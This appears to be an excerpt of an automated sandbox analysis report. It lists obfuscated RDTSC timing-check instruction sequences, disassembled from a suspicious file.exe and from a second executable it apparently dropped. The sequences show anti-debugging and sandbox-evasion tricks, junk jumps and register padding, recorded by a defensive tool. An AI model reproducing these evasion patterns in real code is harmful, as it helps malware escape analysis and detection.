Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C0BB second address: F0C10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F34C04FCDCEh 0x0000000a jmp 00007F34C04FCDCBh 0x0000000f jbe 00007F34C04FCDC6h 0x00000015 jmp 00007F34C04FCDCAh 0x0000001a popad 0x0000001b pop eax 0x0000001c pushad 0x0000001d jns 00007F34C04FCDD6h 0x00000023 jmp 00007F34C04FCDCEh 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a jng 00007F34C04FCDCCh 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C10A second address: F0C116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F34C0CE3852h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21F25 second address: F21F29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2195C second address: F21962 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21962 second address: F21982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F34C04FCDD8h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21982 second address: F2198A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2198A second address: F2198E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21AE5 second address: F21AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21AE9 second address: F21B22 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F34C04FCDC6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F34C04FCDD8h 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F34C04FCDCDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2754C second address: F27552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F278A4 second address: F278A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F278A8 second address: F278AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F278AE second address: F278B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F278B4 second address: F278B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F27C21 second address: F27C2B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F34C04FCDCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2959F second address: F295A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29150 second address: F2915E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007F34C04FCDC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2915E second address: F29167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29167 second address: F2917A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F34C04FCDCCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B072 second address: F2B077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55902F7 second address: 5590363 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx esi, di 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007F34C04FCDD4h 0x00000016 sbb eax, 1E5630B8h 0x0000001c jmp 00007F34C04FCDCBh 0x00000021 popfd 0x00000022 pop eax 0x00000023 popad 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F34C04FCDD0h 0x0000002e add al, 00000018h 0x00000031 jmp 00007F34C04FCDCBh 0x00000036 popfd 0x00000037 pushad 0x00000038 popad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590394 second address: 5590398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590398 second address: 559039C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559039C second address: 55903A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55903A2 second address: 55903CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F34C04FCDD0h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov si, D17Fh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55903CD second address: 55903D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55903D3 second address: 55903D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DEFD second address: E3DF01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DF01 second address: E3DF07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559043A second address: 559045B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE384Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F34C0CE384Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559045B second address: 55904FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F34C04FCDD7h 0x00000009 and si, 44CEh 0x0000000e jmp 00007F34C04FCDD9h 0x00000013 popfd 0x00000014 mov dh, al 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b mov esi, 459761CFh 0x00000020 movzx eax, bx 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 jmp 00007F34C04FCDD7h 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F34C04FCDD4h 0x00000033 sbb ax, 82D8h 0x00000038 jmp 00007F34C04FCDCBh 0x0000003d popfd 0x0000003e mov dl, cl 0x00000040 popad 0x00000041 pop ebp 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 call 00007F34C04FCDCCh 0x0000004a pop esi 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590521 second address: 55905CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F34C0CE3857h 0x0000000b jmp 00007F34C0CE3853h 0x00000010 popfd 0x00000011 popad 0x00000012 add dword ptr [esp], 2F79AEB9h 0x00000019 jmp 00007F34C0CE3856h 0x0000001e call 00007F35305472C8h 0x00000023 push 74DF27D0h 0x00000028 push dword ptr fs:[00000000h] 0x0000002f mov eax, dword ptr [esp+10h] 0x00000033 mov dword ptr [esp+10h], ebp 0x00000037 lea ebp, dword ptr [esp+10h] 0x0000003b sub esp, eax 0x0000003d push ebx 0x0000003e push esi 0x0000003f push edi 0x00000040 mov eax, dword ptr [74E80140h] 0x00000045 xor dword ptr [ebp-04h], eax 0x00000048 xor eax, ebp 0x0000004a push eax 0x0000004b mov dword ptr [ebp-18h], esp 0x0000004e push dword ptr [ebp-08h] 0x00000051 mov eax, dword ptr [ebp-04h] 0x00000054 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005b mov dword ptr [ebp-08h], eax 0x0000005e lea eax, dword ptr [ebp-10h] 0x00000061 mov dword ptr fs:[00000000h], eax 0x00000067 ret 0x00000068 jmp 00007F34C0CE3850h 0x0000006d and dword ptr [ebp-04h], 00000000h 0x00000071 pushad 0x00000072 jmp 00007F34C0CE384Eh 0x00000077 call 00007F34C0CE3852h 0x0000007c pop eax 0x0000007d popad 0x0000007e mov edx, dword ptr [ebp+0Ch] 0x00000081 jmp 00007F34C0CE384Dh 0x00000086 mov esi, edx 0x00000088 push eax 0x00000089 push edx 0x0000008a jmp 00007F34C0CE384Dh 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55905CD second address: 5590632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 05BBCA92h 0x00000008 pushfd 0x00000009 jmp 00007F34C04FCDD3h 0x0000000e sbb esi, 6D5D9A8Eh 0x00000014 jmp 00007F34C04FCDD9h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov al, byte ptr [edx] 0x0000001f pushad 0x00000020 mov di, cx 0x00000023 jmp 00007F34C04FCDD8h 0x00000028 popad 0x00000029 inc edx 0x0000002a pushad 0x0000002b mov edi, eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590632 second address: 5590632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 test al, al 0x0000000a pushad 0x0000000b jmp 00007F34C0CE384Eh 0x00000010 mov ch, 12h 0x00000012 popad 0x00000013 jne 00007F34C0CE37FEh 0x00000019 mov al, byte ptr [edx] 0x0000001b pushad 0x0000001c mov di, cx 0x0000001f jmp 00007F34C0CE3858h 0x00000024 popad 0x00000025 inc edx 0x00000026 pushad 0x00000027 mov edi, eax 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559065A second address: 559065E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559065E second address: 5590662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590662 second address: 5590668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590668 second address: 5590682 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3851h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590682 second address: 55906BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushfd 0x0000000c jmp 00007F34C04FCDD0h 0x00000011 add ah, FFFFFF88h 0x00000014 jmp 00007F34C04FCDCBh 0x00000019 popfd 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55906BE second address: 55906F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov edi, dword ptr [ebp+08h] 0x00000008 pushad 0x00000009 mov ax, dx 0x0000000c movsx edx, ax 0x0000000f popad 0x00000010 dec edi 0x00000011 pushad 0x00000012 mov ecx, 51D86A0Bh 0x00000017 mov cx, 9BE7h 0x0000001b popad 0x0000001c lea ebx, dword ptr [edi+01h] 0x0000001f jmp 00007F34C0CE384Ah 0x00000024 mov al, byte ptr [edi+01h] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55906F0 second address: 55906F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55906F4 second address: 5590711 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3859h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590711 second address: 5590783 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 7742h 0x00000007 call 00007F34C04FCDD3h 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 inc edi 0x00000011 pushad 0x00000012 jmp 00007F34C04FCDD5h 0x00000017 pushfd 0x00000018 jmp 00007F34C04FCDD0h 0x0000001d adc esi, 1AB07338h 0x00000023 jmp 00007F34C04FCDCBh 0x00000028 popfd 0x00000029 popad 0x0000002a test al, al 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F34C04FCDD5h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590783 second address: 55907BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F34C0CE3857h 0x00000009 and cx, 9E5Eh 0x0000000e jmp 00007F34C0CE3859h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55907BF second address: 5590801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jne 00007F352FD5507Fh 0x0000000d pushad 0x0000000e mov dx, cx 0x00000011 call 00007F34C04FCDD6h 0x00000016 call 00007F34C04FCDD2h 0x0000001b pop eax 0x0000001c pop edi 0x0000001d popad 0x0000001e mov ecx, edx 0x00000020 pushad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590801 second address: 5590866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F34C0CE3858h 0x0000000a sbb eax, 7E6AB718h 0x00000010 jmp 00007F34C0CE384Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pushfd 0x00000018 jmp 00007F34C0CE3858h 0x0000001d adc ecx, 5C8FA178h 0x00000023 jmp 00007F34C0CE384Bh 0x00000028 popfd 0x00000029 popad 0x0000002a shr ecx, 02h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590866 second address: 559086C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559086C second address: 55908BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE384Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 jmp 00007F34C0CE3850h 0x00000018 mov ecx, edx 0x0000001a jmp 00007F34C0CE3850h 0x0000001f and ecx, 03h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F34C0CE3857h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55908BA second address: 55908FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushfd 0x00000007 jmp 00007F34C04FCDCBh 0x0000000c xor esi, 5D4118AEh 0x00000012 jmp 00007F34C04FCDD9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b rep movsb 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push edx 0x00000021 pop ecx 0x00000022 mov ax, dx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55908FA second address: 559092A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 61A12E40h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000012 pushad 0x00000013 push edx 0x00000014 movzx ecx, bx 0x00000017 pop edi 0x00000018 movzx esi, bx 0x0000001b popad 0x0000001c mov eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F34C0CE3850h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559092A second address: 5590944 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ah, dl 0x00000011 mov al, 4Dh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590944 second address: 5590980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3856h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 pushad 0x00000011 mov di, ax 0x00000014 movzx ecx, dx 0x00000017 popad 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F34C0CE3850h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590980 second address: 55909D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b movzx esi, di 0x0000000e popad 0x0000000f pop esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F34C04FCDD8h 0x00000017 sub ax, 9938h 0x0000001c jmp 00007F34C04FCDCBh 0x00000021 popfd 0x00000022 popad 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007F34C04FCDCEh 0x0000002c movzx eax, di 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55909D8 second address: 5590521 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F34C0CE384Ah 0x00000009 sbb esi, 62A692C8h 0x0000000f jmp 00007F34C0CE384Bh 0x00000014 popfd 0x00000015 mov ecx, 4CCE603Fh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d leave 0x0000001e pushad 0x0000001f mov esi, 00F21837h 0x00000024 call 00007F34C0CE384Ch 0x00000029 push eax 0x0000002a pop edx 0x0000002b pop ecx 0x0000002c popad 0x0000002d retn 0008h 0x00000030 cmp dword ptr [ebp-2Ch], 10h 0x00000034 mov eax, dword ptr [ebp-40h] 0x00000037 jnc 00007F34C0CE3845h 0x00000039 push eax 0x0000003a lea edx, dword ptr [ebp-00000590h] 0x00000040 push edx 0x00000041 call esi 0x00000043 push 00000008h 0x00000045 jmp 00007F34C0CE384Bh 0x0000004a push 456C6D6Fh 0x0000004f pushad 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590ACD second address: 5590AE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 movzx ecx, di 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590AE9 second address: 5590BA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE384Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pushfd 0x0000000d jmp 00007F34C0CE384Ch 0x00000012 or eax, 361DE5C8h 0x00000018 jmp 00007F34C0CE384Bh 0x0000001d popfd 0x0000001e pop eax 0x0000001f pushfd 0x00000020 jmp 00007F34C0CE3859h 0x00000025 jmp 00007F34C0CE384Bh 0x0000002a popfd 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d pushad 0x0000002e push esi 0x0000002f push ebx 0x00000030 pop esi 0x00000031 pop edi 0x00000032 pushfd 0x00000033 jmp 00007F34C0CE384Ch 0x00000038 sbb al, FFFFFF88h 0x0000003b jmp 00007F34C0CE384Bh 0x00000040 popfd 0x00000041 popad 0x00000042 mov ebp, esp 0x00000044 jmp 00007F34C0CE3856h 0x00000049 pop ebp 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d call 00007F34C0CE384Dh 0x00000052 pop esi 0x00000053 call 00007F34C0CE3851h 0x00000058 pop eax 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: F8F0FD second address: F8F103 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1107915 second address: 110793D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F34C0CE3846h 0x0000000a pop edx 0x0000000b push esi 0x0000000c jmp 00007F34C0CE3859h 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 110793D second address: 1107995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD0h 0x00000007 jmp 00007F34C04FCDCFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F34C04FCDCEh 0x00000014 push ecx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F34C04FCDD8h 0x0000001c pop ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f je 00007F34C04FCDC6h 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 10F7844 second address: 10F784A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 10F784A second address: 10F7850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1106912 second address: 1106918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1106918 second address: 110694E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F34C04FCDD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 110694E second address: 1106952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1106C71 second address: 1106C85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDCAh 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F34C04FCDC6h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1107044 second address: 1107057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE384Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1107057 second address: 1107089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F34C04FCDCAh 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 js 00007F34C04FCDCCh 0x0000001b jp 00007F34C04FCDC6h 0x00000021 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1107089 second address: 110708E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1107217 second address: 110721B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1109FAC second address: 1109FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1109FB2 second address: 1109FC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
